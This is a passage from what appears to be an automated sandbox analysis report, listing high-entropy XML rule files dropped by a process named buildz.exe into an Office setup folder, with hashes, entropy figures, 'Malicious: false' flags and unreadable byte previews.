Entropy (8bit):	7.874820924206308
Encrypted:	false
SSDEEP:	48:gr92GbDBVrgyo7SVMEsoSRr4f848RYhTeYGLiB94D:yUGnHMyommEsBRr4f848RgTeCBu
MD5:	8C52C844CFE6A15BB066F0F89A371695
SHA1:	3B59816BEB618153C705414ED09B305EEC6D1885
SHA-256:	294A65C90379172F0420AF09752CFF554EEFC2E21959808A4E7EFABEEE3A3AA5
SHA-512:	F1F4FA481BF4C385AE475FE1A51C017B93E04521619CB720FA2B631C104FC978522960E9564FAA7020C181CC20F1F822B65D2D39BAD58E40AE7A2AE187F33659
Malicious:	false
Reputation:	unknown
Preview:	.<?.<A.h.@ V...=.lJ>].{.....!..fI.b..y.d;..o.m/...U.X.G.p1.b.e.C......\|p..q...<......S..S. 2.....2..J..e.<.@........A......+d....2.3..Nx..@O....g.n...K.xrg..Y@...C.\....>..B.-xJ.<.U...V.x":d.\..p.E.YP9...%........._4[h..$q....y..;...Z.....U?...e".\|io.d.H...;.5Y.bH...N..n.R.h..7j...3.:.0...._d(,bV..Y,x4.GO.~.....c.../.B.c.V.....OJD/.)P.7U.uK.#6".c.Lw.f......X.../u..#]v...E.j..(.v..$...y.{00..K...b...?6 .2?.}0w!fY[6x<p..EK.$..."H.X=w .i?..py.V...<._d7.".:...P...K4,..Ru...J...q6....._._'..)._....=.....)8.no..^:=9..5..8.N.A"u..E.}S..._..s..yp#y..m...uH..C...e.m?D.;..*R.....fG...\|.W...~.a.$AwJ.kCJ.h.....8%).#N. .`rU......oB]...>UA).5.....i......P/5..R..E^.......)1R-......,..j@..D4b......\.#g....6\.b...{..Qn.<."....u..\8...D)H..U=y-....>Q..s......Ev.EV..JyL.(Hg\|..]......z.x.~m..[..@.....:.....D..C...>.......I.z G...q..e.?...5'...)9..``.......9....@E.k.{.{.....f.qn.=..y....Cc...$.Q.0...+n>...9.+.../.~.U...m.m.`.0iV.....h"....oT.f.1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.871840941804342
Encrypted:	false
SSDEEP:	24:XNCMXefUZycgh0y4m2pNrsVj0+LMYF5S2MMXcNkq0iFS+LSpS/OeCIa70y0HbD:XNCMOfai+ARLMg4MXcp1F3LxC70H7D
MD5:	89B576D87DEE5CA4A6496ED9A1A25EAD
SHA1:	FCC41700FE907A5B3D49F185DB336533400B10CE
SHA-256:	234D3A57BE9B5C28821ED1831CB5609D52C6A1222DF09100C7ED8921DB9E7574
SHA-512:	DCD044B3262256091205E683BB6137FB8C3608218EA3680A5C9A16C637BEFE57FD407D8FCEB768C25963B4DFC9EF0F9B70D367136057F1657B58D3E01CBCD596
Malicious:	false
Reputation:	unknown
Preview:	.<?Y..{...N...d...A.z.\.1.x,..5.... .a.K..{.hOL~..,.....-...k.....PX&B...J._...[....ATun...l..i..%..,9#..l<...D..a....P9.8...4.#.j.ZC{...:5...9)..L...!......b.Dj.....3..+......XHz....`"}..9&.:...O.?1.2r.%._m%.(B.o......A...C.}....+U.Sh6.s\...<.-!d..."i......."........@;.j-...Ra......A."..V........@.>.,...{.....F.T=....m..i......s1...E..>.....t.J.}0..y2d.E..C...Iq.`Z^'.gp.v.bw e.p6.N..c>....9.....\.:e_L... <....r.[...l..l.$.....^.g.O............Io.{q......d......4SfF..k.rb@.I..B.F.A..S...q.................c.p...D...-N....V..b^m.>V.......'\|]...e...m.....!.....C!m....B.Bs..V.G.m.ND.V../........<.F.2g.x'..:.u.j...F...3.U.t[.2J..O.c.=..-..M..um(....wN-e...r..."..?DX.Q._.TC....8..Dn.[9..:....$...db.....wJ..u6.F..l...:.....Sk4.6.Y..4..e.../.[.'....3....V.8B.H.cK...B.k......!/6m.J.+.W.Z..R..D..<.:.....Umg...iH..1M.Y..#....vvW.}'.B.%....7....."A.7.q.d.Bk.(/yb.X.......@]..1X..$....?ck2.....\|.5.(....{.f.>.s...8B.u.....M.\|..xy..5OD,.IQ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.891486697704132
Encrypted:	false
SSDEEP:	48:S9rXdaph7Y1ZrfZ26mjJ/V3aJHCM0eu2aN6D:QrNc7Y1RZajLqJiMAbNS
MD5:	B27DF070966E45D6256855698E5790AF
SHA1:	63D4E2E4692AB388DE95F90D6F64750DC7177B21
SHA-256:	D4DC044EE10BACBE1B23922790C49D7D754F705C6DB04F2BA903AA2C28B1E068
SHA-512:	002DA2EA7C3CFC0B9C551A0A4581EF982372A4934E221E24F4173A61A25C2B562B6365B3E16A9E3FDBF7CBBDF6AC2533435CF91CC12523E4B491D54E6D4B571D
Malicious:	false
Reputation:	unknown
Preview:	.<?%..JE...K.AJ..AQ.../F......!.......T..?..3.}........9_.F?.d....4...R.......[."..3.M.....&i..b...B..........C.V.......@k..O-.i.-...)...\|../.&.N./..C.~d...c.'...V5V...!g;.."C.S.S..TO....................d..:...\.......:..7..h..vS5.kX..ptC..d...q....q..>Qn..s-..0.....%..C#... t.W .S..{mn...KW.QV......]wT..bT.....QN$..O.kv~.~W.(&...r..~.y\|w....C(.e....-OJ.x.~..x=...^.6.}j.r3.a../..o...p.n.m^...3.:...oH......X)......1.B...b.c..e.{.....!.....a...@..,d..g+e.s%Gv3.P............a..;.w.Nu.Fn...D6*K..CZ.A.kT..,...A6...............a....U.j0.y._...u.......,_D....4\|A&j..;ro.I>..l.2...uZp8.._gI...k....UiJ.d..h]...'...n4.<.....=.u. .d#.......'.a<..^........~.3.5.XO.9........._....jl>y0"Y.5_.s..&."/C/...i..A=...=......M.2.&NB"..9.A..N......_.94....r...[.;...Xo...].]#I.J.i.h5..].@.P$.N.P..?.G.......s?(...w......5..........._>..G^K..cp.....v...?.R. .U..A.#l...Q....N$.~.F..Za>...t6z.`........#,.C...!n..BZ.....M.0.M....).&@......Q.u.LyJ..@i..lCr.+..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.878060144906757
Encrypted:	false
SSDEEP:	24:x3VQfCw+T9vEuGA9B/JGObeEWZqws9uz911DITeAYG86IiBYxVe0KqAhivnsf7wu:x5hl+A9F4YeEIPgYAWKlUPsfNaLWD
MD5:	8C47179BDC2B45A169EBFB63A1C09744
SHA1:	E6167121F5272065B90E569545C0BFF99ACCF718
SHA-256:	22F06B063FB18009D811A502BF6F680B38E0F4ED8AFEFC8E1B3BA39956CE6C3B
SHA-512:	31E30CC5E1449C37B8C69964C88E2A836CA6692170D9BEFC48CEB8E744FC858BCF2235D8BDC743FE17CC51C07FD20547339D9BF55C1C266C0E508875F1478162
Malicious:	false
Reputation:	unknown
Preview:	.<?f....}...2)e`.t.V..X...y.W..A..W.u......Z..g..O.nb...8.......-....a....T.......3..1j2......jn.;X!......5......dJ.U....T....dz.p..x7)r....Ua.......T.Z.P......U....s..`._.L..H.._.3...X. ..j../.r........j..^.F.y.".YP.}1.......K..a..7H\y...l.....<7....:....Z..`F9..x{G...Eokd.Zr.G.2.".H6...C^./....&..$.<W%E5h......_.4...BT.2.\|.HM..G......Y#.l.v....n.d....R.X).....8;A..O.I......S......b..X...d.o......LM.N7Z...h.z.....T~ .W..C.q..h..;...h.....WG..\.v4.p;E'...}.-T.)...\..3.N.".n..g:....;.0.y...u.hm...AH......I...tFG..i.:m.Z..!....o..?^2....^.E......^YX...2Ww/a`......x.%.R4...Z...^..[....f...Y.......a.Lg.._s.3))#...v.*\.-.X.!....z.\|K.(.oO\.......q....nNY..[..j.......H.....[.~..]...OV{p..j..%.\..x.4.Cg.).K!...k.Q...M.....a'...\|d)..y....=.T){..^.BX.....p..C:u9.')`.%ChV..:...T....:FB...5z..UY..{n[.a..B=MS.)\|..I.aIC.`...})...8..P...5A..>...{[.i......2.z......F....(..#f...)..y...=......+@.Q9.H.y.FVu$..K..e.[o...B....L....c...M..k..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.894651474384313
Encrypted:	false
SSDEEP:	24:v2lF6zcw1Ahuiu/JGHeShbnP5QwciIjocOtyrYd8slRrkLWe0tEMjAKXyTm+4K0J:vjz1AgQZhzGwcnUJUyRrZjAKXT+UD
MD5:	E2D42C743021B7A95240688D3A895684
SHA1:	93E01BB8B89727CDB1D54B359D993BB3B922115D
SHA-256:	570034B193052A8C0C8BFD56C55CA78283A0D93EB05F11542FBBD76108AF9A81
SHA-512:	D813103C37258D7BBC45E909A6B152D581134B4357D1D66113B6696DA624DC8D5A3EB0E72B481CAB9A3786FF08C2A31F4C1AB62F4811D21F1E03DE5C16256CDA
Malicious:	false
Reputation:	unknown
Preview:	.<?.,3.......M.r....e7.g{@..7d.at.%.../..7&..%.x..q.wt....y.:z@...i.......k..a$.....Aq...F......pk......&2.5..!..?..;O.@..3..)...t?.M.../."U...%d.........F...U.H.'`....NVt..7.C{..y.t...SL.. ..L<..k1....39'.....c...!.0.Q.#.H.Y..h()..Ts99.\..M..a_OV../.\=.~.'..U..(......Tx.G.c..p.T.p..~...A6.....r...UG.......B...z.V={.A.^......k..?./.Z.!..f....+(...g...v7.dA.'...a."3.pC..."...9.t.....r'.O......Q.P.........p.u....^V.....&...G?0[#f.....s.....X...{...3..[..:6....]....[.;Jn..........3.#..8 .d}g&.I.\W...PA-.[...:......l..jk?I..]h.I..UJ..+..9.....p..M..#;/n2....S..4.5[..._.....?,..Z..tW}...l.r.%.u......f[Ml ...7-.S.5..t..../....'P..@/...>X.....0..~4.H..-`.,..`.b..E)........#...{.p^\|..pJ.cCf.8J].q..T&..).Fo.=.N.. Q@.Rr.>a.u.&%.....b..Q'.........r........T...O...~.!......E....xUb..WW..^.Je...eq.......(.z.C..-M...*..M.B...Z(....d..Qz.+...,.{b.8.dW.v.U.b/.."f>..........a..<L.w.....2...]\M(t.(?...g..jS {...'i\|x..........$.h..m.....n ...-...A!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.8919408934983375
Encrypted:	false
SSDEEP:	48:NgFJ1KpKEgODk5ZV+duhYBpRA+VGRA5bnD:NFpKCwslp2mGRAV
MD5:	F7CE9C5A832996BD842F0A3720CC4FCF
SHA1:	072EC2DB4ED401D5A34CE7DFEB65BEB6D6F04FC8
SHA-256:	3B978C7A44F40E2FAEF14975569551B197FC8D911C6E6E7F3658C28F4F89A9E7
SHA-512:	68AAA82C2B5FB9FD6598B80028DB444BC037B61D3C3A90AFBE8BB16D6A4BE3F05CBEE7434DEE92D57719FDD9E1811144077DF05DFFEDBB0E1458BB855CC8B5A2
Malicious:	false
Reputation:	unknown
Preview:	.<?>..B.\pO.'.aO..!.?....+4..z...kc...2AP....."...2...yO.3....M...~.........7.{...o..M...l!.:....Y%UmN~U....[.....\|.... .\|.)o...u....R....".>...9q..v...5..".......F..s...y.6.Z....j..U.R..}....8..n'..]7j.....\|..'..>fB....O..D.h.s.d...IEE.S...:.g.hc.[.w7R...R....(..r....P.BQN(fX..q=.kpn......g.O..w....9O..v........y'}l.i..w..'..6.%%.....v..@H.?..q.F.%#..v..vG.f........Bl......g....k.u...h.?d.y.>..n.]x..D.@.[.....+....jW[~^..P.8......>9.TL...L.1..;...D..`.U...._..65.J....v ._w.~.&......O.>.F....2V/{.8.P.....\|.J.N@...)P?q=8../.J./.G.E5...}.h.....U....IM55..}...@.Y..e...)...>...\|@ot5..0....B)..=....4.f{.......t.+P..{n...1%.^.....Q3...o~\v...m.xZ..6..;e<...;'.../\.[....+..2...+...d...9iA.,..ab.+a...m$i....,..B.9..d../..M#.g......).Y.L.$Ey[..jl...+....B9..-...q.0..l..... .......Ts.D'...j...w......"..Z........,.!..A./.,..[B...'_..pOaS.tA4Sk....5....l..X..k..#.......j.h.E...d..&...B.,.z#......\|....z.%....Y..P.s..........F. ...J..R.l........5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.873078477711418
Encrypted:	false
SSDEEP:	24:hG6J011+56mlo3wKnAiTHSLlU1LZdQRdv4qS7im7cKahb1M9vBPRRZLdBjbD:r01Vmm3wKnAtK1LZSdg7imAKahm9hxD
MD5:	B8A67AAB7491CDA22CEA509B3DC09456
SHA1:	472E361E0EDBAE43FAD3B73ACC722452AEFCB1E8
SHA-256:	A30BAE05273FE091E17EE808A2877C2E9672ED206E5D6E2C17AE838D86F9FD33
SHA-512:	835255D8849883162A7C6D76AA51075C909BE7519422CE4588D5C89F9D8BED2C1E974F720FFC4238C5372FFC5FB02A41384FF0935FDA4F08729ECF9D611F1649
Malicious:	false
Reputation:	unknown
Preview:	.<?L........v....8.i....c.+.8W{.^S....o..E...Bw...........r..E._.TLT.w##....B...P7..[..{._KtZ.X.7.rq`X...Z....,....<.5~5..<.mY(.W......J\|.i....3+.+.sd%......W.;.B......#a.^..!V.y...H...Y.$.?....(.@.L...xf.EW....S.6..0./Xc.z85.....-Q..:(,...?\.......3K<M.......[..}..e..B...e.wT..Y.6h'..I......)..j..._..@G......}p&.Q..(...V.O}$...w{.D.B.l..+.P~..f.$...oW....Y..~M.....P[b.@..........a.RR9.x.`....K...$...<.K@>...Y...B08..q....w1@.a5...`.,...y..]x^d.z..k.q[..Mu:...:...v9.Y^p1.....k...C.$F...{.d..).........PT..Y..`i.Y.:9.......>qB....i%.U.[Ws.K.%\.cg...6+..c....i..4...%d..n..T......O;.6.....~.i{.C...HQ.P..a D.....9X....D"7{.Y....m_..O\|.J(...9C..A..P.!.E.x.Y.9.?..1.....Kz..u..z.ko.4..A..wR..7.K..;.O$..V.x..FDo6.....E.....yk.R.".T.G1........v.+...a..P}+.Z..>..B....~(.x7...q..]G....M.7....^z.z..{....>3j8t....P......q.R.9..J...V...<@...9..\|YM.b..jr1+.38....%;q..e...&\|.E..e.....\|..f.vCH.m...}J...b.^.g@....3..kU<....&3.6B.Y.Y....z-.....'.VMo..:/

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.888949549208773
Encrypted:	false
SSDEEP:	24:BEWZQMTCTDaiXTarPMMgQQgvUO7sl8ZZn2Lg3LLNqoynlC5qq6CTbD:BoMkTaDM5BWZ1dqoilm2+D
MD5:	5C544DEBAFDAABDFF660C2483559DA6B
SHA1:	0E2BFCC2CDEE9E6C95E6C2EEA788CC5F7347F247
SHA-256:	4B048F7440643D9952CAEFC16F638DE741DAC3C098E2742CDC39A544E3862AE5
SHA-512:	795288F8633C76473C19905DE1DCCF21B3BB8AE7CF59256F9D27EF10393FA01063BDF827E50F95A37151228E51A2908A9FE84DBA5290FA2371BEE2B8A955F228
Malicious:	false
Reputation:	unknown
Preview:	.<?C.".w..n....'...f..c1#...w...........8...e.....(........l........6...k'/\j..Y'..6E..\1"2........#0'.".HL{... F^....]...}..{..~4.({.."..'.m!..}....f.j._b.{..j...)....&.....L....D:.....vL%.i.=\|.9.$.#....8.(w..U..Z8...(.5~.09......c..0u.FT,A;.s.R....L.\|d.U".....0-..N.....T.(..,..\|.....]_....iJ....,..i...`M.A...ZV.-.}...."+.X..,J.5.....@....]0U..C.Nm..R.r........?@..rwCy<..<...+.....T.!.w....Q./.:.......a.....x.V..l.Nj.vg...`e........H+@.8....$.[..a.........i..2...'.=...L..vD...w.7.C#WN.Yi........@..Z..a.Mui.Z..s.7.P..)...5....(.?\..?...O..<qW..2$.....{7e..Hy..........._^.?<7......Q.r.....d$..5..r...'v..mN..k..<.z..{.0...g....(AT.....~.JN\|.}.4......Z.......d. ....%N.9.N;=S.y...TM(..W..!..G........_...:T.!.^..S#...taE<.v.6Q...NV.=~.....b.9t{.@.~.`T....{.t4.....~jT..-.P....LA..+..f.....9^..a...1\.....0wz....:.f...O...'..:....k..I]F3.Mm.f....5.h..A.e1..;.7.X...P.q..mk<.....3......H..........].~..L%fpb5T.Br.Sf...19hq..4..6.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.887390027590668
Encrypted:	false
SSDEEP:	48:EKqJSDuZQXHHN8XdujtIELhRqJXaRsTux0R9figx5D:EKQtZCt8AxLhRqgayx0R9K6x
MD5:	CFD49526959D8880179697B725AF3327
SHA1:	A8378928BD8B0722E6C7D50213E44F45833C4612
SHA-256:	0A268B40BB64ACF7EA2B689B3888AB2D48E183B6248D861F3443972F519DE407
SHA-512:	6B2FE754AB401EA6C1C9A9660D6B52C4D59496EF1FA41722280C647017590BA205CDD7C4B1D7A21C73F4279B751385C9518DE53AA9CE234FEAF0D33BDE5478CB
Malicious:	false
Reputation:	unknown
Preview:	.<?:u0......)... $,..:...@`.Yx\|.hv.b_..Ar..).<,...i5......N.. N...p.W.z.....KwT..........b..g,...X..+Y.....%.l..9"p..v{..._.......S.z.l...n4t.....a....;....J.V3.-:.J.xnhC.1P....\.....>&...=...v..8.."..6..../w..0Z>..;.ep...P,N.&..\|.Z.FK_.)...#$~.(.',..lI.\.Z....d...m.zM..d.i.......v.......u.... ..{.....>......g.a:B.la..< .c.Mq.;b/.yB........)....!~y.&E..;ue...E ..8..-.Z..$?...l.8F...J.....x...h.%.S....l.OU.(..t...ID...^G.g4.{$n.]..a..s....tiO...f.c.....\.X:gEo....W=bUv.^....}.1.b.M.x.g..5..y.@.CsnX7.n.-J..a@y...l.RZh.-!3.....q...v..(N..(....itRG..$...~;Q.$g.#. ...=.:......\|:..=..y.9p./+...<......-.....b..7.t..!.,..dH.C.....\|.F....b`.....:p...i\.AU./..[.,.]og.`B\|y;..uy.........F.\|.....r.....{.H.A.D.m.".z....Q...V2....u._...h....qo.}!0......HZ.C.I8]q..,. ...]#V..".l..!^,i.$._V.\|.......yWM..a=M....P.e.x....f ........z.i.Nm..6.5........iT.@.y$~]#.....7....-..\|..F...{..$~dZ....S..{{m.?!W...j.#......jQ.#.....0...0.?..E...c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.889106950094702
Encrypted:	false
SSDEEP:	24:E34b7k7fMMUCSR5LtMKr/nWgw9GXoLcNnpdDxRq/NB2iqCEILmiSPb708fxw/5OP:bp5h/rPWzGoMvq/NBLqXILm3Zf85oD
MD5:	4FC540F0CC377FF64EC48453A2622E37
SHA1:	97BBD0018234996A8B8C59D318CA04EA919B68FA
SHA-256:	98DB1C04344D1257ED1CA28B612278C69F3777E7D0A37D27E701452D4066CEE8
SHA-512:	5C1092668AC8B68ECD2804FD91E051D3FBC08A6145CFFC815D7297CDBC2D01B5BC6737218ED2E1AC12B8CD4E08584B8C4556CFACD24D638C941F53ED85CE8CF6
Malicious:	false
Reputation:	unknown
Preview:	.<?.....fg=8...I..4.J~M......:nd...........K..%.T~..g....D.q.....T.....&1..$......+p.G.........^.A\|.t.Ujzb....^A..Ov....o..O.:.-.i....x?..b.&.l......Q...<.lVT...xr..i..0c....a].<..t.v..u.b...VJ..1[.AV..6w3}(.6..__.z~..72......f.w......9cLcj.U^.q.Y..H.,..56u{.2.....j;..>..LX.TWz.kx.<....cIY_.o<t.a...6It......D..id...zH q.qW....e}6n5.R.H..8..\|.`.\|..;p>f.`.b.oL...,.!...A~"..`.v.l...72j...2.....v...Q]C..-M@V .Js?../....)T....Bn1$..;.e.g.3F\Ec......5..Z$.Y..R.ua9.-q...r.p.6.U..Q...L.....'...L.....7].)...:....tW.NC...aC...'M...L*j.8+Yj5..g.J4.,%4 .....N. K......z.J/.v...BK._.7.[.........l_..CjD...j........9..@P.C..%<...#..S.....r.Q.V..I.,......8.}:..../pM...\......N.F.....^.../...X..f$.%..&C.f....2bA.0.$j.7]+..=>..i......,...Xk.!];?..g..u.Vnv.O.k.i.......T.0...HQ.[3.J..Kr3.1.f.mW..C..M.i......u&..]P<...Jr..&......eY.U......D6.... ...f......'. ..X.....P.....n....k&3..z.{".8..]...^...lA..b.G~.....J^.9}Yk...._...../...(...x..#OYo..wK+.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.873102989358709
Encrypted:	false
SSDEEP:	48:YBj6RkvSsNQoM+34Ar18Hm4e2clEEWZN/PQC0hUh+7wMkqJD:gakkD+IAr1umdSZxlj+7wS
MD5:	630AAE0793444A9408FFBA353ACD899B
SHA1:	F60442FB2D752CA48946D75BAE9AFE4597F21A15
SHA-256:	A0B1E255B5D22BABACC3A6D6D5B5ED86D852891A7ED23792126ED754E623EC32
SHA-512:	9DEC88B0ABE734556BFB103AAEE69D2189FC90814A3D16CBCDDB7BDE8E8254B3ABD577F1560EB430FC02E07A6930EF681FC968AF40292B3D63914AED72E76090
Malicious:	false
Reputation:	unknown
Preview:	.<?.bJ.r...U..D......=.T.....).....L.k..(...De..<...z.i:.p../.....P#.2.d#.t.......'..3.-.9...{....f...;Ja...i........f.k..7..F3wk...l..S.......z,.'..T.?.1.....x..-......p.A..I..R..5..Qa.u.....J<......1CL....J......pm...m#...#.k..d2Y...p........]3.....f....\|k-..1..V..........$G...g....x>YO.[..Q...k ......<...1G.W...HRnI2F,...V.../.../.lY@..1@.Q..<....E..`.0..uR...1.._Q..GoSk..._.qw........\|...WGS....(8..Rm.n..*.4...:.K.'...9fk.<.I-W.....6.L.iB....D.5[...3#.N<.3~....].).v..J..0..})..!NY..........F.9../...>..+...>RH..6Iq..%.B......-..I...H...k....7.C..BU=.eP..........^......Y...d.^'.bEB.z...l.w.}{%q.......h:..g3ro+...~..l..T.~.z......6.X.C5..;.Z.YVR...]'-'...1.t..yKP...I...Qs....:.8...)..O5b.K."4.6!.\.k...{y'a.kX....}.V.`_M..}N..Vk.3E.D.....Sn.Z..1.......k...y..T..2.D.6...............!J.Y....,........j&....J..m#.[.+...nq.G.H.Zb .W..u..^.kL.1u...YJ.......'...?..5....&..[!....]....[Mr..#ekY.Gw..B...M./..5..&..ht.>........1y..K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.888667163273624
Encrypted:	false
SSDEEP:	48:kj9NH5V3D7PCXzs5KEYjnoWsAYzThn+0Cm3XzD:YLZV3nCXY5goWsBznX
MD5:	CDC804F62FD0C90243F718E0E6F48597
SHA1:	7AADACD066C7137A51960872175D45E1446D27EA
SHA-256:	715BEB354BAA0BB23231351D82BDBD1F8513F75BE3D8DB9F8109EAD3B4F1E488
SHA-512:	844C2CE08CE4065EE3669798E36FAC9391A34857BBB7314A913EA8D6F5F1E9A949DA21A1EEBE5F0E10178BB54FB6C15C315366CF770A7B5E3EA7A7CD176017DB
Malicious:	false
Reputation:	unknown
Preview:	.<?...%....\x..%`7...Io7...$0GD..o..A.9..9V.W../.!.\|.@...LL...o3O..9.].8.H....I.,qar.i..t.s..s94.g...!".}...^Uz;...Lm..@a%W....p.F.1:V.=.....Y...u....5.>.C'.q...T...~7.f ..N.C..d.b....=%M....."...Op....G.E....a..:....K..L.`....-5u?HBm\|(.......=i.0Y$....x..q...h.~.T...^....ZY.83..L...G.....)..G.+.~=._m..#v.gz..0........2.......7.w....3r...].._..R..2g..Nf.[q...O!.. .k.85T....7....{VYdc.ma.......j.}..:...-.(.j/.&.....Z.<......K...8.l./.QN5N'4..:..S..r.o#(.jS...a...iu.....v^.UX..w....Ku..k&.g......P.J..TL=m7..9..'....ch.....Bqw7/...G...x.:.A.$.....&MPG.m?t..(/.Q.k....7:.H..}.~g........\i1=a..L...C\|.......WS_$z,,..#x.iZC=......j...Sy<..JDa.K..9.....!.....W$.#.....j}I.......Y....T.Hu'<+E:7..[.^..4.h.QJ.jw"<i..XU.{...a..oh...g.j9...GN....1....2JT....$..... ..;9S..._..i=.Q.t..vs'..<.....N+.N..6...k.1.E.7.....w..T.N(P.....\..5..\>.79[L...Q..x..B...P..(z....n.{..I......m.ok.fB..j.R....1....h....-(.......2e..K.".gR.?...IW......D-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1720
Entropy (8bit):	7.863041093222563
Encrypted:	false
SSDEEP:	48:o+79sxDbUpviMANEpXxNtacWceixVR7VQTD:5SxHsvAEpXxT7M/
MD5:	CF27B0C43DDD420D15533DB2041664D6
SHA1:	04243B198CE7830DA458F295EC3717D4D1F64871
SHA-256:	46081CA81A08F71D35D8DB0E75DD376D413A58B546354B8BD1B432B7D813FA22
SHA-512:	D68E61B03A04EE60820AB8E9230A5D72D4EE10F873C1FE90B43BBB6791906DD83054A6F1E1A394045C724182F1566C809875783E60204D38AC605F6FC070367A
Malicious:	false
Reputation:	unknown
Preview:	.<?.&.L'.Jd.2U.......L....=L...1_.EZk{.......C.y).O..PM.....'.V@.tG...=..7...VXx.R.l...s2]..e....[g6..&...m,1.tv.x1....p..{g...k.^e..n~...R.J.q..d.I....iy.......7].v....].....rtX...'w.}..m.+....b......wf4..u{5+>r{)87..4......[.vf....G.. .-.....[@OV{J.s.~.(~...~R.gJG....c...(]f..../....O.........1........=...y.@.1I...?Q./j.J....e..4.....Z?Ln..eW..Y.k:I......#P.i..O.5....~hi.............{.O....a]4...`......._f...t......s/...........~..6.\|..G..\Q.{z...n.=t.iOu.m;...P..,...p.^O>..sv"..h.:.....[.p.y]]..EoJE.....m.C.Z.9.&,.)"..dD.Y..77...&D.(..u.CnT..T.....#.'h..b5....m6..........j..,..5.i....fEe.t2..f..1.u}...5/>......%.Y7.....^v...}... ......].6\.....s.5._.-67.'..+7.W`L..a..N).Q5.%zq. w4..#m..\.;.....}...1.L.8a..........p.,.T.n..1.S..o.......v......].(}yD..D.7o].j~_Pl{.jT.........u...A.w.!......ef-D...K....k.2..r1z9'. .@.1+_YFJ.{.C..:.KI..%E.T$B.Z.zO.6.p../..L...:...Wy.0nA.Z..').Ve.....Lm.No7.....F.q...e-..!..2Ku-+0E#.D.X7......~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1757
Entropy (8bit):	7.886347442203642
Encrypted:	false
SSDEEP:	48:P9LjdwCaNRp4J0dUk/zKZxWFWZw5Z8irfHUBSQ62GwopyXuD:NyCaNRpS0dUmzExYWZwfrPUBSf2GSW
MD5:	2FF6D29765AF75DDA64ACA431A79BBC3
SHA1:	BF444289AAFCDFA29AA66A7BAC179F28256E7DA4
SHA-256:	608AA03544D018CE5A5ECB0FBB63EAF6356DA0118DCF4B7A49AD03E9982420F8
SHA-512:	22033C4530E19A41CCBA1CDE0CAED6DE82C36A56490A62C5368D9C616D5EE39E45B2BCB3CADBA9EA59675F45C43246D9E815B74CCABCAFD7C8C1F1FB31F6FB35
Malicious:	false
Reputation:	unknown
Preview:	.<?......i...G0.A.?s..o..0t..m.^2....cl...Ix......B=..Ox....P.R..90.O.!...A.M..Z..X....v+.z.-.X....9.p.wU....".s.'o....\.....m...0....9...j}.....]w..kf9..f..@.._..D"..S.@..H.TG:OLJ....L..-}....q..08@..a.s..Rl..vU...M..F.ZoR[.....{........u.$.....'j.....-...5..i....3..0..ig.....`.U....m.....J%.Q...5tO...q.0W.{V..z.3.}.j...h....:.....u.5a..@..=.XD..^ba..... .......H..5.~.x.f.$.(.'.X#.b6n4...j......u`....O...{.U..k^.Ob......8.......OD}....#.T...X. ..Y.~.]?..+^............M.0......`...OE......0.,...]Pj....s1.CW[)V.....w...E.-.7..) (..?..Z.7.g.........YB.3.c.......i.4.... vU'.7...4....^..xy2F...........9...$.XK...~....~.....B\|hd...N.-..3..-....).....R..aJ...Z........v...+...fT.cak...`...au2....i....Q;\|..=...=U..lW..)...1..B5.c!..v.#..w1A.Z."..}g._.)>Q...}b.....]GJI...yCSZ..............2tRB....N.......vG..p.{.wu\.W!\|................9..&....>C....kW.Gn..;..v...u.xE.k.3...%&A._.!F..[....q..]...t..c..gO3.....F..vCRR....9......h.[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.898892345397999
Encrypted:	false
